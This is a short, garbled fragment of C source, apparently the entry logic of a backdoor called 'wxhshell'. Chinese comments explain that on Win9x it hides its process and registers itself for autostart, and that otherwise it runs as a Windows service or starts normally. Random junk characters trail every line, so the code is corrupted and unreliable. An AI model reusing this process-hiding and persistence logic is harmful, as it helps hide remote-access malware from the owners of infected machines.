if(!OsIsNt) { YC,.Y{oY{
// 如果时win9x，隐藏进程并且设置为注册表启动 tEs[zo+DR-
HideProc(); =g>7|?6>=
StartWxhshell(lpCmdLine); @W5hrei
} a^)4q\E
else :tS>D5dz(
if(StartFromService()) zZjLt1
// 以服务方式启动 u g$\&rM>
StartServiceCtrlDispatcher(DispatchTable); Z=5}17kA
else YPJx/@Z`
// 普通方式启动 uP'w.nA&2
StartWxhshell(lpCmdLine); -~GJ; Uw
%K f. F
return 0; Hn'2'Vu
}